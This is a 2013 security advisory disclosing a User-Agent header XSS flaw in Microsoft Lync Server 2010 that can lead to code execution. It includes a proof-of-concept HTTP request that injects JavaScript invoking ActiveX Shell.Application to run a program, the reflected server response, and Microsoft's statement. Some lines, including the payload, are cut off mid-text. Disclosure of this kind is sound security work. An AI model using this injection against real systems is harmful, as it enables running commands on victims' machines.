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Microsoft Lync Server 2010: Remote Code Execution/XSS - User Agent Header
From: Christopher Emerson <christopher.emerson () whiteoaksecurity com>
Date: Fri, 11 Jan 2013 10:43:30 -0600

Microsoft Lync 2010 fails to properly sanitize user-supplied input, which
can lead to remote code execution.

Microsoft was originally notified of this issue December 11, 2012.

The details of this issue were made public January 11, 2013.

CVE number: Not Assigned
Impact: Low
Vendor homepage: http://lync.microsoft.com/
Vendor notified: December 11, 2012
Vendor fixed: N/A
Credit: Christopher Emerson of White Oak Security

Affected Products
Confirmed in Microsoft Lync Server 2010, version 4.0.7577.0.  Other
versions may also be

Microsoft Lync 2010, version 4.0.7577.4087, fails to sanitize the
“User-Agent Header” for meet.domainame.com.

By inserting JavaScript into the aforementioned parameters and stacking
commands, an attacker can execute arbitrary commands in the context of the

Malicious users could execute arbitrary applications on the client systems,
compromising the confidentiality, integrity and availability of information
on the client system.

The vendor should implement thorough input validation in order to remove
dangerous characters from user supplied data.  Additionally, the vendor
should implement thorough output encoding in order to display, and not
execute, dangerous characters within the browser.

Proof-of-Concept (PoC)
The following Request is included as a proof of concept. The proof of
concept is designed to open notepad.exe when the Request is received by the

GET /christopher.emerson/JW926520 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/xaml+xml,
application/vnd.ms-xpsdocument, application/x-ms-xbap,
application/x-ms-application, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729)";var oShell = new ActiveXObject("Shell.Application");var
commandtoRun =
Host: meet.domainname.com
Connection: Keep-Alive
Cookie: LOCO=yes; icscontext=cnet; ProfileNameCookie=Christopher

Below is an abbreviated copy of the Response:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-MS-Server-Fqdn: domainname.com
X-Powered-By: ASP.NET
Date: Mon, 07 May 2012 20:26:55 GMT
Connection: keep-alive
Content-Length: 23901
<!--NOTE: If DOCTYPE element is present, it causes the iFrame to be
displayed in a small-->
<!--portion of the browser window instead of occupying the full browser
<html xmlns="http://www.w3.org/1999/xhtml"; class="reachJoinHtml">
<meta http-equiv="X-UA-Compatible" content="IE=10; IE=9; IE=8;
requiresActiveX=true" />
<title>Microsoft Lync</title>
<script type="text/javascript">
    var reachURL = "https://
    var escapedXML = "'\x3c\x3fxml version\x3d\x221.0\x22
    var showJoinUsingLegacyClientLink = "False";
    var validMeeting = "True";
    var reachClientRequested = "False";
    var currentLanguage = "en-US";
    var reachClientProductName = "Lync Web App";
    var crackUrlRequest = "True";
    var isNokia = "False";
    var isAndroid = "False";
    var isWinPhone = "False";
    var isIPhone = "False";
    var isIPad = "False";
    var isMobile = "False";
    var isUnsupported = "False";
    var domainOwnerJoinLauncherUrl = "";
    var lyncLaunchLink = "conf&#58;sip&#58;christopher.emerson&#64;
    var errorCode = "-1";
    var diagInfo = "Machine:MachineNameBrowserId:Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30;
.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";var oShell = new
ActiveXObject("Shell.Application");var commandtoRun =
attempted at:5/7/2012 3:26:55 PM";
    var resourceUrl =

Vendor Statement
The vulnerability described in this report is a XSS vulnerability in the
User-Agent which requires an attacker to be in a man-in-the middle
situation in order to be able to modify the User-Agent.   In a default
configuration of Lync server, TLS encryption is used to protect against
this type of attack. Customers concerned about this issue should check
their environments to ensure that Lync is configured to use TLS to encrypt
all traffic, a default configuration.

Disclosure Timeline
December 11, 2012: Disclosed to vendor (Microsoft Security Response Center).
December 18, 2012: Vendor’s initial response.
December 20, 2012: Vendor deemed issue a Low severity and confirmed issue
would be fixed in next product release.
December 27, 2012: Received vendor approval to disclose along with Vendor
Statement (see above).
January 11, 2013: Disclosed vulnerability publicly (

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